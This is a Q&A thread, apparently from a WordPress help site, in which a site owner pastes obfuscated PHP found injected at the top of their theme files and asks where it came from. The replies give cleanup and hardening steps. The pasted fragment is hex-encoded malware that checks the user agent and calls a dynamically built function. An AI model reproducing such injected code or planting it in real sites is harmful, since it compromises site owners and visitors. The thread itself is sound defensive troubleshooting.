I found the following at the top of all my theme files. My local copy doesn't have it!

WordPress v4.2.2 running on a Linux server. Plugins: Advanced Custom Fields

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) {$ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $jobconrfpf = '5c%x78257-MSV,6<*)ujojR%x5c%x7b\40\x2f\52\x20\153\x6a\145\x62\161\x61\165\x67\160\x68\40\x2a\57\x20"; $ournfmcogg=substr($jobconrfpf,(42613-32500),(69-57)); $ournfmcogg($xqycebdlqb, $pvjekxgoli, NULL); $ournfmcogg=$pvjekxgoli; $ournfmcogg=(464-343); $jobconrfpf=$ournfmcogg-1; ?>

I goes on and on. I didn't want to paste everything on here.

Any ideas where this has come from? Thanks for you help in advance.

  • Yep! Remove the malicious code, update your WordPress, Plugins, Theme, change your admin passwords, change database/ftp passwords, change the salts in wp-config.php, install WordFence and scan your site for more issues.
    – passatgt
    Jun 14, 2015 at 11:35

1 Answer 1


Yes ! This is a malicious code - if you don't have any backup. I will suggest you to remove this code from top of every file manually. There is no "Genire" plugin/script which can safely remove it from your every file. If you are good with PHP, you can write your own script.

Follow these steps to make all secure :

  1. Remove All Malicious Code From Every File
  2. Change file permissions.
  3. Install this plugin and run a scan for more info : https://wordpress.org/plugins/gotmls/
  • As well as removing the obvious code. It might also be worth running a file comparison on the core WP files against a clean installation. As well as plugins and themes - to make sure the malware didn't put a back door in for easier future access.
    – Edd Aslin
    Jun 15, 2015 at 20:01

Not the answer you're looking for? Browse other questions tagged or ask your own question.